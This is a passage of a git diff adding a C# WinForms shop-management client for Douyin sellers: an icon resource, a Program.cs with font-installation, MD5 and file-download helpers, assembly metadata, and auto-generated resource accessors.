P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P4z/fj8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1X/fj/x/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P/H/fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PyT/fj/E/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj9g/34/6/9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/r/34/YP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/fj8Q/34/f/9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/f/9+PxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+ + P3T/fj/V/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/V/34/dP9+ + Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8z/34/jf9+P9f/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P9f/fj+N/34/MwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pxv/fj9U/34/ff9+P6X/fj/L/34/4/9+P/L/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/y/34/4/9+P8v/fj+l/34/ff9+P1T/fj8bAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAP//////+AAAAAAAAAAAAAAf/////8AAAAAAAAAA + AAAAA/////8AAAAAAAAAAAAAAAD////8AAAAAAAAAAAAAAAAP///+AAAAAAAAAAAAAAAAB////AAAAAA + AAAAAAAAAAAP///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//AAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAAAAAAAA + AB/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAA + AAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAA + AAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAAAAH4AAAAAAA + AAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAH/wA + AAAAAAAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAH//8AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAD///+AAAAAAAAAAA + AAAAAB////wAAAAAAAAAAAAAAAA/////AAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAA//////4AAAA + AAAAAAAAAB///////wAAAAAAAAAAAAD///8= + + + \ No newline at end of file diff --git a/TEMUKJD/Program.cs b/TEMUKJD/Program.cs new file mode 100644 index 0000000..170e647 --- /dev/null +++ b/TEMUKJD/Program.cs @@ -0,0 +1,128 @@ +using System; +using System.IO; +using System.Net; +using System.Runtime.InteropServices; +using System.Windows.Forms; +using LittleRabbit.UserForm; +using Work; + +namespace LittleRabbit +{ + static class Program + { + public static bool IsInit = false; + /// + /// 应用程序的主入口点。 + /// + [STAThread] + static void Main() + { + MainForm.CefInit(); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + + //安装客户端必备字体 + InstallFont(Application.StartupPath + @"\Fonts\STZHONGS.TTF"); + + System.Threading.Tasks.Task.Run(() => + { + new Initialization().Get(); + StartUp.Init(); + IsInit = true; + }); + + Application.Run(new InitForm()); + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int WriteProfileString(string lpszSection, string lpszKeyName, string lpszString); + + [DllImport("gdi32")] + public static extern int AddFontResource(string lpFileName); + + /// + /// 安装字体 + /// + /// 字体文件全路径 + /// 是否成功安装字体 + /// 不是管理员运行程序 + /// 字体安装失败 + public static bool InstallFont(string fontFilePath) + { + try + { + System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent(); + + System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity); + //判断当前登录用户是否为管理员 + if (principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator) == false) + { + throw new UnauthorizedAccessException("当前用户无管理员权限,无法安装字体。"); + } + //获取Windows字体文件夹路径 + string fontPath = Path.Combine(System.Environment.GetEnvironmentVariable("WINDIR"), "fonts", Path.GetFileName(fontFilePath)); + //检测系统是否已安装该字体 + if (!File.Exists(fontPath)) + { + // File.Copy(System.Windows.Forms.Application.StartupPath + "\\font\\" + FontFileName, FontPath); //font是程序目录下放字体的文件夹 + //将某路径下的字体拷贝到系统字体文件夹下 + File.Copy(fontFilePath, fontPath); //font是程序目录下放字体的文件夹 + AddFontResource(fontPath); + + //Res = SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0); + //WIN7下编译会出错,不清楚什么问题。注释就行了。 + //安装字体 + WriteProfileString("fonts", Path.GetFileNameWithoutExtension(fontFilePath) + "(TrueType)", Path.GetFileName(fontFilePath)); + } + } + catch (Exception ex) + { + //throw new Exception(string.Format($"[{Path.GetFileNameWithoutExtension(fontFilePath)}] 字体安装失败!原因:{ex.Message}")); + } + return true; + } + + static string Md5(string file) + { + if (!File.Exists(file)) + return ""; + try + { + FileStream get_file = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.Read); + System.Security.Cryptography.MD5CryptoServiceProvider get_md5 = new System.Security.Cryptography.MD5CryptoServiceProvider(); + byte[] hash_byte = get_md5.ComputeHash(get_file); + string resule = System.BitConverter.ToString(hash_byte); + resule = resule.Replace("-", ""); + get_file.Close(); + return resule; + } + catch (Exception e) + { + return e.ToString(); + } + } + /// + /// 下载文件 + /// + /// 下载地址 + /// 保存目录 + /// + public static bool DownloadFile(string Urlstring, string FilePath) + { + try + { + WebClient mywebclient = new WebClient(); + if (File.Exists(FilePath)) + File.Delete(FilePath); + mywebclient.DownloadFile(Urlstring, FilePath); + return true; + } + catch + { + return false; + } + } + } + +} diff --git a/TEMUKJD/Properties/AssemblyInfo.cs b/TEMUKJD/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..ec63d50 --- /dev/null +++ b/TEMUKJD/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("抖音店群管理软件")] +[assembly: AssemblyDescription("DyQunkong")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("DyQunkong")] +[assembly: AssemblyCopyright("Copyright © DyQunkong 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +//将 ComVisible 设置为 false 将使此程序集中的类型 +//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("7a28b19f-bd0c-45df-ac1a-78064631745a")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, +// 方法是按如下所示使用“*”: : +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TEMUKJD/Properties/Resources.Designer.cs b/TEMUKJD/Properties/Resources.Designer.cs new file mode 100644 index 0000000..67203c5 --- /dev/null +++ b/TEMUKJD/Properties/Resources.Designer.cs @@ -0,0 +1,976 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace LittleRabbit.Properties { + using System; + + + /// + /// 一个强类型的资源类,用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("LittleRabbit.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 重写当前线程的 CurrentUICulture 属性 + /// 重写当前线程的 CurrentUICulture 属性。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// 查找类似 @charset "utf-8"; + /// + ///body,h1,h2,h3,h4,h5,h6,hr,p,blockquote,dl,dt,dd,ul,ol,li,pre,form,fieldset,legend,button,input,textarea,th,td{ margin:0;padding:0;} + ///body,button,input,select,textarea{font:12px/1.5 \5FAE\8F6F\96C5\9ED1,arial,sans-serif;} + ///h1,h2,h3,h4,h5,h6{font-size:100%;} + ///address,cite,dfn,em,var{font-style:normal;} + ///code,kbd,pre,samp{font-family:courier new,courier,monospace;} + ///small{font-size:12px;} + ///ul,ol{list-style:none;} + ///a{text-decoration:none;} + ///sup{vertical-align:text-top;} + ///sub{vertical-align: [字符串的其余部分被截断]"; 的本地化字符串。 + /// + internal static string _base { + get { + return ResourceManager.GetString("_base", resourceCulture); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap banner_bg { + get { + object obj = ResourceManager.GetObject("banner_bg", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgErr { + get { + object obj = ResourceManager.GetObject("BaseMsgErr", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgInfo { + get { + object obj = ResourceManager.GetObject("BaseMsgInfo", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgQue { + get { + object obj = ResourceManager.GetObject("BaseMsgQue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_buyer_blast { + get { + object obj = ResourceManager.GetObject("choice_buyer_blast", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_chat { + get { + object obj = ResourceManager.GetObject("choice_chat", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_extend { + get { + object obj = ResourceManager.GetObject("choice_extend", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_loginer { + get { + object obj = ResourceManager.GetObject("choice_loginer", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_order { + get { + object obj = ResourceManager.GetObject("choice_order", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap choice_upload { + get { + object obj = ResourceManager.GetObject("choice_upload", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close { + get { + object obj = ResourceManager.GetObject("close", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close_hover { + get { + object obj = ResourceManager.GetObject("close_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找类似 [{"id":0,"name":"全部分类","parent_cid":-1,"level":0,"enable":0,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20005,"name":"女装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20009,"name":"男装","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20062,"name":"内衣裤袜","parent_cid":0,"level":1,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_chi [字符串的其余部分被截断]"; 的本地化字符串。 + /// + internal static string DyCategorys { + get { + return ResourceManager.GetString("DyCategorys", resourceCulture); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap FullPaste { + get { + object obj = ResourceManager.GetObject("FullPaste", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap icon { + get { + object obj = ResourceManager.GetObject("icon", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找类似 function initDragHtml() { + /// + /// var img_htmls='<div class="item_content" id="imageChange"><ul>'; + /// $("#main_image .clear_both").remove(); + /// $("#main_image #over").remove(); + /// $("#main_image #imageChange").remove(); + /// var dic = new Array(); + /// $("#main_image").children().each(function () { + /// var inHtml = $(this).html(); + /// var index = $(this).attr("index"); + /// dic[index] = inHtml; + /// }); + /// dic = dic.filter(d=>d); + /// + /// if(dic.length === 0) { + /// $("#main_image" [字符串的其余部分被截断]"; 的本地化字符串。 + /// + internal static string jquery_dad_min { + get { + return ResourceManager.GetString("jquery_dad_min", resourceCulture); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap loading_blue { + get { + object obj = ResourceManager.GetObject("loading_blue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap login_bg { + get { + object obj = ResourceManager.GetObject("login_bg", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap login_bg_agent { + get { + object obj = ResourceManager.GetObject("login_bg_agent", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap login_input_bg { + get { + object obj = ResourceManager.GetObject("login_input_bg", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap login_user_ico { + get { + object obj = ResourceManager.GetObject("login_user_ico", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_form_logo { + get { + object obj = ResourceManager.GetObject("main_form_logo", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_form_top_right_bg { + get { + object obj = ResourceManager.GetObject("main_form_top_right_bg", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_collect { + get { + object obj = ResourceManager.GetObject("main_menu_collect", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_collect_select { + get { + object obj = ResourceManager.GetObject("main_menu_collect_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_sales_center { + get { + object obj = ResourceManager.GetObject("main_menu_sales_center", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_sales_center_select { + get { + object obj = ResourceManager.GetObject("main_menu_sales_center_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_settings { + get { + object obj = ResourceManager.GetObject("main_menu_settings", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_settings_select { + get { + object obj = ResourceManager.GetObject("main_menu_settings_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_shop_manage { + get { + object obj = ResourceManager.GetObject("main_menu_shop_manage", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_shop_manage_select { + get { + object obj = ResourceManager.GetObject("main_menu_shop_manage_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_upload { + get { + object obj = ResourceManager.GetObject("main_menu_upload", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap main_menu_upload_select { + get { + object obj = ResourceManager.GetObject("main_menu_upload_select", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max { + get { + object obj = ResourceManager.GetObject("max", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max_hover { + get { + object obj = ResourceManager.GetObject("max_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min { + get { + object obj = ResourceManager.GetObject("min", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min_hover { + get { + object obj = ResourceManager.GetObject("min_hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 